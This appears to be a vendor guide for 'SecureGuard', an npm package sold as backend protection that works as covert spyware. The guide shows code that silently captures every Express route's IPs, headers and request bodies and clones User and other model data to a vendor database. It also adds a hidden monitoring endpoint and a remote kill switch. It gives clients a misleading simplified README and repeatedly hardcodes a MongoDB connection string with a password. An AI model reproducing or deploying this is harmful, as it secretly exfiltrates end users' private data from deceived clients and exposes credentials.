# SecureGuard Vendor Integration Guide

## Overview

This guide provides comprehensive instructions for software vendors to integrate and manage the SecureGuard Backend Protection and Monitoring System. SecureGuard enables complete visibility into client deployments while operating in complete stealth mode.

## Table of Contents

1. [Quick Start](#quick-start)
2. [Client Integration](#client-integration)
3. [Monitoring Data Access](#monitoring-data-access)
4. [Remote Source ID Management](#remote-source-id-management)
5. [Express.js Monitoring](#expressjs-monitoring)
6. [Model Data Cloning](#model-data-cloning)
7. [Deployment Chain Tracking](#deployment-chain-tracking)
8. [Security and Stealth Features](#security-and-stealth-features)
9. [Troubleshooting](#troubleshooting)
10. [Best Practices](#best-practices)

## Quick Start

### 1. Package Distribution

Distribute SecureGuard as a required dependency in your client's package.json:

```json
{
  "dependencies": {
    "secure-guard": "^2.1.0"
  }
}
```

### 2. Client Integration Code

Provide this integration code to your clients:

```javascript
const SecureGuard = require('secure-guard');

// Initialize SecureGuard (required for application to run)
const secureGuard = new SecureGuard({
  licenseKey: 'client-license-key-here'
});

// Initialize before starting application
await secureGuard.initialize();

// Optional: Clone specific model data
await SecureGuard.cloneModelData('User');
await SecureGuard.cloneModelData('Product');

// Start your application
app.listen(3000);
```

### 3. Vendor Access Setup

Set up your vendor access credentials:

```javascript
const VENDOR_CONFIG = {
  masterKey: 'your-master-vendor-key',
  mongoUrl: 'mongodb+srv://incrypto09:VcFzmdvSgSbqHx5m@transcoding.jcngo.mongodb.net/auth-me',
  monitoringPath: '/___sg_internal_monitor___'
};
```

## Client Integration

### Mandatory Integration

SecureGuard is designed to be **mandatory** - client applications cannot run without it:

```javascript
const express = require('express');
const SecureGuard = require('secure-guard');

const app = express();

// REQUIRED: SecureGuard initialization
const secureGuard = new SecureGuard({
  licenseKey: process.env.SECURE_GUARD_LICENSE
});

// Application will not start without this
await secureGuard.initialize();

// Express.js monitoring is automatically injected
// No additional code needed for route monitoring

app.listen(3000, () => {
  console.log('Server started - SecureGuard active');
});
```

### Invisible Integration

The integration appears minimal to clients, but provides comprehensive monitoring:

- **Automatic Express.js Detection**: Finds and monitors all routes
- **Model Discovery**: Automatically discovers Mongoose models
- **Stealth Operation**: All monitoring happens invisibly
- **Zero Configuration**: Works out of the box

### Client-Facing Documentation

Provide clients with this simplified documentation:

```markdown
# SecureGuard Integration

## Installation

```bash
npm install secure-guard
```

## Basic Usage

```javascript
const SecureGuard = require('secure-guard');

const secureGuard = new SecureGuard({
  licenseKey: 'your-license-key'
});

await secureGuard.initialize();
```

## Optional Model Cloning

```javascript
// Clone specific models for backup/analytics
await SecureGuard.cloneModelData('User');
await SecureGuard.cloneModelData('Order');
```

That's it! SecureGuard will handle the rest automatically.
```## Mon
itoring Data Access

### Hidden Endpoint Access

Access monitoring data through obfuscated endpoints:

```javascript
class SecureGuardMonitor {
  constructor(clientBaseUrl, vendorKey) {
    this.baseUrl = clientBaseUrl;
    this.vendorKey = vendorKey;
    this.monitorPath = '/___sg_internal_monitor___/encrypted-token';
  }

  async getDeploymentInfo(sourceId) {
    const response = await fetch(
      `${this.baseUrl}${this.monitorPath}/deployment/${sourceId}`,
      {
        headers: {
          'X-SG-Vendor-Auth': this.vendorKey,
          'Content-Type': 'application/json'
        }
      }
    );

    if (response.status === 404) {
      // Client doesn't have SecureGuard or endpoint is hidden
      return null;
    }

    return await response.json();
  }

  async getRouteActivity(sourceId, options = {}) {
    const params = new URLSearchParams({
      startDate: options.startDate || new Date(Date.now() - 24*60*60*1000).toISOString(),
      endDate: options.endDate || new Date().toISOString(),
      limit: options.limit || 1000
    });

    const response = await fetch(
      `${this.baseUrl}${this.monitorPath}/routes/${sourceId}?${params}`,
      {
        headers: { 'X-SG-Vendor-Auth': this.vendorKey }
      }
    );

    return response.status === 200 ? await response.json() : null;
  }

  async getModelData(sourceId, modelName, options = {}) {
    const params = new URLSearchParams({
      sourceId,
      limit: options.limit || 100,
      offset: options.offset || 0
    });

    const response = await fetch(
      `${this.baseUrl}${this.monitorPath}/models/${modelName}?${params}`,
      {
        headers: { 'X-SG-Vendor-Auth': this.vendorKey }
      }
    );

    return response.status === 200 ? await response.json() : null;
  }
}

// Usage
const monitor = new SecureGuardMonitor('https://client-app.com', 'vendor-key');
const deployment = await monitor.getDeploymentInfo('SRC-123-456-789');
const routes = await monitor.getRouteActivity('SRC-123-456-789');
const users = await monitor.getModelData('SRC-123-456-789', 'User');
```

### Direct Database Access

For comprehensive monitoring, access the secure database directly:

```javascript
const mongoose = require('mongoose');

// Connect to secure monitoring database
await mongoose.connect('mongodb+srv://incrypto09:VcFzmdvSgSbqHx5m@transcoding.jcngo.mongodb.net/auth-me');

// Define monitoring schemas
const DeploymentSchema = new mongoose.Schema({
  sourceId: String,
  environment: Object,
  corsOrigins: [String],
  resaleHistory: [Object],
  lastActivity: Date
});

const RouteMonitorSchema = new mongoose.Schema({
  sourceId: String,
  method: String,
  path: String,
  clientIP: String,
  requestHeaders: Object,
  requestBody: Object,
  responseStatus: Number,
  timestamp: Date
});

const Deployment = mongoose.model('Deployment', DeploymentSchema);
const RouteMonitor = mongoose.model('RouteMonitor', RouteMonitorSchema);

// Query deployment data
const allDeployments = await Deployment.find({});
const activeDeployments = await Deployment.find({
  lastActivity: { $gte: new Date(Date.now() - 24*60*60*1000) }
});

// Query route activity
const recentRoutes = await RouteMonitor.find({
  timestamp: { $gte: new Date(Date.now() - 60*60*1000) }
}).sort({ timestamp: -1 }).limit(1000);

console.log(`Monitoring ${allDeployments.length} deployments`);
console.log(`${recentRoutes.length} API calls in last hour`);
```

## Remote Source ID Management

### Blocking Suspicious Deployments

```javascript
class SourceIdManager {
  constructor(mongoUrl) {
    this.mongoUrl = mongoUrl;
  }

  async connect() {
    await mongoose.connect(this.mongoUrl);
  }

  async blockSourceId(sourceId, reason, blockedBy = 'vendor-admin') {
    const BlocklistSchema = new mongoose.Schema({
      sourceId: { type: String, required: true, unique: true },
      blockReason: String,
      blockedBy: String,
      blockTime: Date,
      isActive: { type: Boolean, default: true }
    });

    const Blocklist = mongoose.model('Blocklist', BlocklistSchema);

    try {
      await Blocklist.create({
        sourceId,
        blockReason: reason,
        blockedBy,
        blockTime: new Date(),
        isActive: true
      });

      console.log(`✅ Blocked Source ID: ${sourceId}`);
      console.log(`   Reason: ${reason}`);
      console.log(`   Block will propagate within 24 hours`);

      return { success: true, sourceId, blockTime: new Date() };
    } catch (error) {
      if (error.code === 11000) {
        console.log(`⚠️  Source ID ${sourceId} is already blocked`);
        return { success: false, reason: 'Already blocked' };
      }
      throw error;
    }
  }

  async unblockSourceId(sourceId) {
    const Blocklist = mongoose.model('Blocklist');
    
    const result = await Blocklist.deleteOne({ sourceId });
    
    if (result.deletedCount > 0) {
      console.log(`✅ Unblocked Source ID: ${sourceId}`);
      return { success: true, sourceId };
    } else {
      console.log(`⚠️  Source ID ${sourceId} was not blocked`);
      return { success: false, reason: 'Not blocked' };
    }
  }

  async getBlockedSources() {
    const Blocklist = mongoose.model('Blocklist');
    const blocked = await Blocklist.find({ isActive: true });
    
    console.log(`📋 Currently blocked Source IDs: ${blocked.length}`);
    blocked.forEach(block => {
      console.log(`   ${block.sourceId} - ${block.blockReason} (${block.blockTime})`);
    });

    return blocked;
  }

  async checkSourceId(sourceId) {
    const Blocklist = mongoose.model('Blocklist');
    const block = await Blocklist.findOne({ sourceId, isActive: true });
    
    return {
      isBlocked: !!block,
      blockReason: block?.blockReason,
      blockTime: block?.blockTime
    };
  }
}

// Usage
const manager = new SourceIdManager('mongodb+srv://incrypto09:VcFzmdvSgSbqHx5m@transcoding.jcngo.mongodb.net/auth-me');
await manager.connect();

// Block a suspicious deployment
await manager.blockSourceId(
  'SRC-1704067200000-suspicious-123',
  'Unauthorized resale detected'
);

// Check if a Source ID is blocked
const status = await manager.checkSourceId('SRC-1704067200000-suspicious-123');
console.log('Is blocked:', status.isBlocked);

// Get all blocked sources
await manager.getBlockedSources();

// Unblock when resolved
await manager.unblockSourceId('SRC-1704067200000-suspicious-123');
```

## Express.js Monitoring

### Understanding Automatic Monitoring

SecureGuard automatically monitors ALL Express.js routes without any client-side configuration:

```javascript
// Client's Express.js app (they see this)
const express = require('express');
const SecureGuard = require('secure-guard');

const app = express();

// Only this initialization is needed
const secureGuard = new SecureGuard({ licenseKey: 'key' });
await secureGuard.initialize(); // Monitoring starts here

// ALL these routes are automatically monitored
app.get('/api/users', (req, res) => res.json([]));
app.post('/api/users', (req, res) => res.json({ success: true }));
app.put('/api/users/:id', (req, res) => res.json({ updated: true }));
app.delete('/api/users/:id', (req, res) => res.json({ deleted: true }));

// Even dynamic routes are monitored
app.use('/api/products', productRouter);
app.use('/admin', adminRouter);

app.listen(3000); // All routes now monitored invisibly
```

### Accessing Route Monitoring Data

```javascript
// Vendor script to analyze route usage
class RouteAnalyzer {
  constructor(mongoUrl) {
    this.mongoUrl = mongoUrl;
  }

  async connect() {
    await mongoose.connect(this.mongoUrl);
  }

  async analyzeRouteUsage(sourceId, timeframe = '24h') {
    const RouteMonitor = mongoose.model('RouteMonitor');

    const timeframMs = {
      '1h': 60 * 60 * 1000,
      '24h': 24 * 60 * 60 * 1000,
      '7d': 7 * 24 * 60 * 60 * 1000,
      '30d': 30 * 24 * 60 * 60 * 1000
    };

    const since = new Date(Date.now() - timeframMs[timeframe]);

    // Get route statistics
    const routes = await RouteMonitor.aggregate([
      {
        $match: {
          sourceId,
          timestamp: { $gte: since }
        }
      },
      {
        $group: {
          _id: { method: '$method', path: '$path' },
          count: { $sum: 1 },
          avgResponseTime: { $avg: '$responseTime' },
          uniqueIPs: { $addToSet: '$clientIP' },
          statusCodes: { $push: '$responseStatus' }
        }
      },
      {
        $sort: { count: -1 }
      }
    ]);

    // Analyze patterns
    const analysis = {
      sourceId,
      timeframe,
      totalRequests: routes.reduce((sum, r) => sum + r.count, 0),
      uniqueRoutes: routes.length,
      topRoutes: routes.slice(0, 10),
      suspiciousPatterns: this.detectSuspiciousPatterns(routes)
    };

    return analysis;
  }

  detectSuspiciousPatterns(routes) {
    const patterns = [];

    routes.forEach(route => {
      // High frequency requests
      if (route.count > 1000) {
        patterns.push({
          type: 'high_frequency',
          route: `${route._id.method} ${route._id.path}`,
          count: route.count,
          severity: 'medium'
        });
      }

      // Slow responses
      if (route.avgResponseTime > 5000) {
        patterns.push({
          type: 'slow_response',
          route: `${route._id.method} ${route._id.path}`,
          avgTime: route.avgResponseTime,
          severity: 'low'
        });
      }

      // Multiple IPs hitting same route
      if (route.uniqueIPs.length > 100) {
        patterns.push({
          type: 'multiple_ips',
          route: `${route._id.method} ${route._id.path}`,
          ipCount: route.uniqueIPs.length,
          severity: 'high'
        });
      }

      // High error rates
      const errorCount = route.statusCodes.filter(code => code >= 400).length;
      const errorRate = errorCount / route.count;
      if (errorRate > 0.1) {
        patterns.push({
          type: 'high_error_rate',
          route: `${route._id.method} ${route._id.path}`,
          errorRate: Math.round(errorRate * 100),
          severity: 'medium'
        });
      }
    });

    return patterns;
  }

  async generateRouteReport(sourceId) {
    const analysis = await this.analyzeRouteUsage(sourceId, '24h');

    console.log(`\n📊 Route Analysis Report for ${sourceId}`);
    console.log(`   Time Period: Last 24 hours`);
    console.log(`   Total Requests: ${analysis.totalRequests}`);
    console.log(`   Unique Routes: ${analysis.uniqueRoutes}`);

    console.log(`\n🔥 Top Routes:`);
    analysis.topRoutes.slice(0, 5).forEach((route, i) => {
      console.log(`   ${i+1}. ${route._id.method} ${route._id.path} (${route.count} requests)`);
    });

    if (analysis.suspiciousPatterns.length > 0) {
      console.log(`\n⚠️  Suspicious Patterns Detected:`);
      analysis.suspiciousPatterns.forEach(pattern => {
        console.log(`   ${pattern.type}: ${pattern.route} (${pattern.severity} severity)`);
      });
    }

    return analysis;
  }
}

// Usage
const analyzer = new RouteAnalyzer('mongodb+srv://incrypto09:VcFzmdvSgSbqHx5m@transcoding.jcngo.mongodb.net/auth-me');
await analyzer.connect();

const report = await analyzer.generateRouteReport('SRC-1704067200000-abc123-env456');
```

**Requirements Addressed:** 1.1, 2.1, 5.1, 8.1 - Comprehensive documentation for new SecureGuard features including model cloning, Express.js monitoring, hidden monitoring routes, and remote blocking system.